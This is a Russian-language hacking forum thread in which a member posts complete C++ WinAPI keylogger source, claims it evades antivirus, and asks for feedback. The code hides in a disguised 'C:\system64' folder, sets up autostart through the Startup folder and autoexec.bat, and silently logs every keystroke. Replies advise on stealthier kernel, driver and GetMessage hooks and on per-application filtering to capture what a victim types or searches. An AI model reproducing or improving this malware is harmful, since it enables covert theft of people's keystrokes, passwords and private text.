KeyLogger на C++ с использованием WinAPI

Discussion in 'Песочница' started by JiEn, 29 Aug 2017.

  1. JiEn

    JiEn New Member

    Joined:
    28 Aug 2017
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    Привет, написал месяц назад кейлоггер на Си Плюсах, оцените пожалуйста. Использовал хук GetAsyncKeyState(), антивирусами не палится. А еще укажите на ошибки в синтаксисе если таковые имеются.
    Заранее прошу прощения за кодировку комментариев.

    #include <cstdlib>
    #include <Windows.h>
    #include <iostream>
    #include <fstream>
    #include <direct.h>
    #include <CTime>
    #include <string.h>

    using namespace std;



    int CALLBACK WinMain(
    HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow
    )
    {
    //%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

    char dir_pl[1024];
    GetModuleFileName(NULL, dir_pl, 1024);
    time_t now = time(0);
    char* dt = ctime(&now);
    char buffer[1024];
    GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));


    //-------------------------------------------------
    CreateDirectory("C:\\system64", NULL);
    SetFileAttributes("C:\\system64",FILE_ATTRIBUTE_HIDDEN);
    //-------------------------------------------------
    CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
    CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
    SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"),FILE_ATTRIBUTE_HIDDEN);

    //-------------------------------------------------

    ofstream fut("C:\\autoexec.bat");
    fut<<"\nstart C:\\system64\\sys.exe";
    fut.close();
    SetFileAttributes("C:\\autoexec.bat",FILE_ATTRIBUTE_HIDDEN);

    //--------------------------------------------------

    //MessageBox(NULL, "0x00000007: INVALID_SOFTWARE_INTERRUPT", "ERROR", MB_OK);

    ofstream date("C:\\system64\\log.txt", ios::app);
    date<<"\n|------------------------------------------\n|"<<dt<<"|------------------------------------------\n";
    date.close();


    // ñîçäàžì îáúåêò êëàññà ofstream äëÿ çàïèñè è ñâÿçûâàåì åãî ñ ôàéëîì cppstudio.txt
    //--------------------------------------------------
    while (true)
    {
    Sleep(200);//Çàäåðæêà
    for(int i=1; i<=256;i++)//Ïðîâåðêà íàæàòèÿ êàæäîé èç êëàâèøè
    {
    if(GetAsyncKeyState(i))
    {
    ofstream fout("C:\\system64\\log.txt", ios::app);
    //------------------------------------------------------------
    fout<<i<<"|";//Çàïèñü íîìåðà êëàâèøè â ëîã
    //------------------------------------------------------------
    fout<<"\n";
    fout.close();
    }
    }
    }

    }
     
    #1 JiEn, 29 Aug 2017
    Last edited: 29 Aug 2017
  2. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    350
    Likes Received:
    331
    Reputations:
    6
    Он потому не палиться что антивирусу не остается вычислительных ресурсов:rolleyes: всё съедает твой логгер
     
    JiEn likes this.
  3. JiEn

    JiEn New Member

    Joined:
    28 Aug 2017
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    Я знаю что подобное опрашивание каждой из клавиш должно жрать ресурсы, но в действительности любой нажатие клавиш так и отслеживается на уровне ОС и (Я не имею ввиду библиотеку WinApi)
    что-то незаметно что это шибко тормозит работу компа и ОС в целом.
     
    #3 JiEn, 29 Aug 2017
    Last edited: 29 Aug 2017
  4. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    350
    Likes Received:
    331
    Reputations:
    6
    Не, pooling (периодический опрос устройств, в данном случае клавы) уже давно не используется даже в старых процах для мс-дос.
     
    JiEn likes this.
  5. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Ну хотя бы для приличия надо было в теге [CОDE] оформить... пофиксил:
    Code:
    #include <cstdlib>
    #include <Windows.h>
    #include <iostream>
    #include <fstream>
    #include <direct.h>
    #include <CTime>
    #include <string.h>
    
    using namespace std;
    
    int CALLBACK WinMain(
        HINSTANCE hInstance,
        HINSTANCE hPrevInstance,
        LPSTR lpCmdLine,
        int nCmdShow)
    {
        //%appdata%/Microsoft\Windows\Start Menu\Programs\Startup
    
        char dir_pl[1024];
        GetModuleFileName(NULL, dir_pl, 1024);
        time_t now = time(0);
        char* dt = ctime(&now);
        char buffer[1024];
        GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));
    
        //-------------------------------------------------
        CreateDirectory("C:\\system64", NULL);
        SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
        //-------------------------------------------------
        CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
        CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
        SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);
    
        //-------------------------------------------------
    
        ofstream fut("C:\\autoexec.bat");
        fut << "\nstart C:\\system64\\sys.exe";
        fut.close();
        SetFileAttributes("C:\\autoexec.bat", FILE_ATTRIBUTE_HIDDEN);
    
        //--------------------------------------------------
    
        //MessageBox(NULL, "0x00000007: INVALID_SOFTWARE_INTERRUPT", "ERROR", MB_OK);
    
        ofstream date("C:\\system64\\log.txt", ios::app);
        date << "\n|------------------------------------------\n|" << dt << "|------------------------------------------\n";
        date.close();
    
        // создаём объект класса ofstream для записи и связываем его с файлом cppstudio.txt
        //--------------------------------------------------
        while (true) {
            Sleep(200); //Задержка
            for (int i = 1; i <= 256; i++) //Проверка нажатия каждой из клавиши
            {
                if (GetAsyncKeyState(i)) {
                    ofstream fout("C:\\system64\\log.txt", ios::app);
                    //------------------------------------------------------------
                    fout << i << "|"; //Запись номера клавиши в лог
                    //------------------------------------------------------------
                    fout << "\n";
                    fout.close();
                }
            }
        }
    }
     
    abenonyan and JiEn like this.
  6. JiEn

    JiEn New Member

    Joined:
    28 Aug 2017
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    Привет, извините, недавно зарегистрировался и пока что незнаком с синтаксисом BBCode, но спасибо за замечание!
     
  7. JiEn

    JiEn New Member

    Joined:
    28 Aug 2017
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    Извинните, в таком случае, расскажите как в современных ОС определяется нажатие клавиш.
     
  8. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    350
    Likes Received:
    331
    Reputations:
    6
    Стало быть итак:

    В момент нажатия клавиши приходит сигнал от клавиатуры на ... я бы сказал на контроллер прерывания, но в современных устройсвах он составляет часть чипсета южного моста, хотя для простоты, всё же скажем на КОНТРОЛЛЕР ПРЕРЫВАНИЯ, итак при поступлении сигнала контроллер прерывания определяет его номер, по входному порту (каждое прерывание приходит на свой порт). Далее этот номер фиксируется в регистре запроса на прерывание и далее этот регистр сравнивается с регистором маски, чтобы определить разрешено или нет прерывание с таким номером?
    Если прерывание разрешено то обработка переходит к аппартному комплексу называемому "арбитром приоритетов" так как прерывания ранжируются от более высокого к более низкому. Если нет запроса от более приоритетного прерывания арбитр приоритетов посылает сигнал на передачу к центральному микропроцессору. Для этого у центрального микропроцессора есть специальный вход INTR сигнализирующий о пришедшем прерывании. Если прерывания разрешены у него, то центральный процессор запрещает обработку прерываний и посылает по специальном выходу INTA подтверждение контроллеру прерывания что он получил его и занимаеться им.
    Ну это пока так, часть, надо бы рассказать о каскадировании микросхем i8259a, о процессе завершения контролером прерывания, но это уже овер-ответ

    Что делает процессор?
    Прекращает выполнять ту программу что он сейчас выполняет. Скидывает весь контекст в стэк. Определяет по номеру прерывания вектор прерывания и вызывает процедуру обработки прерывания. После выполнения программы прерывания, восстанавливает контекст ранее выполняемой программы и продолжает её выполнять. Если во время обработки текущего прерывания придет запрос на новое прерывание, с таким же приоритетом, то оно будет поставлено в очередь на обработку, если придет запрос с более высоким приоритетом, то текущее прерывание тоже останавливается и контекст скидывается.


    ну далее твой обработчик прерывания передаёт данные прерывания на более высокие абстрактные слои и оно наконец попадает к диспетчеру очереди сообщений (Это для винды) которые запаковывает данные и передает дальше по информационным магистралям ОС

    Но вот как бы вкратце...



    Да и чё ты на "Вы" ёбнулся штоле? Што за псевдо-интелегентность?
     
    JiEn likes this.
  9. JiEn

    JiEn New Member

    Joined:
    28 Aug 2017
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0

    Спасибо за ответ! Буду знать, но скажи как бы ты реализовал глобальный хук клавиш?
     
  10. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    350
    Likes Received:
    331
    Reputations:
    6
    Ну в идеале конечно заменить вектор прерывания клавиатуры на свой, и на ранних системах так трухацкеры и делали, так как область таблицы векторов прерывания была программно доступна. Сейчас же золотые времена кид-хакинга канули и уровень входа резко подскочил. Таблица векторов программно недоступна и регистры работающие с ней тоже, но если сможешь это был бы топ-хак.
    Далее нужно подниматься на верхние слои, чем ниже тем круче. Сможешь внедриться в ядро - супер, в драйвер клавиатуры - тоже супер. Но более реально это поставить хук в юзер-мод режиме допустим хук на функцию типо ГетМессадж - я бы так и попытался. ТОгда ты можешь логгировать все обрабатываемые нажатия клавиш, для любого приложения и даже можно настроить механизм фильтрации, агрегирования, то есть тебе нужно ведь сохранять не тупо все нажатия, а по приложением - тогда ты сможешь определять что человек искал в гугле,или печатал в ворде.

    Тока когда будешь ставить хуки тут то и оживиться антивирус, почувствует уже руку профессионала и насторожиться.

    Да и я не понял как ты понимаешь термин "Хук" я это понимаю перехват вызова какой либо функции..
     
    JiEn and Evan like this.
  11. JiEn

    JiEn New Member

    Joined:
    28 Aug 2017
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    Сори, это первый софт который я писал, мои навыки пока достаточно низки. Спасибо за помощь, буду развиваться!
     
  12. JiEn

    JiEn New Member

    Joined:
    28 Aug 2017
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    Сори, это первый софт который я писал, мои навыки пока достаточно низки. Спасибо за помощь, буду развиваться!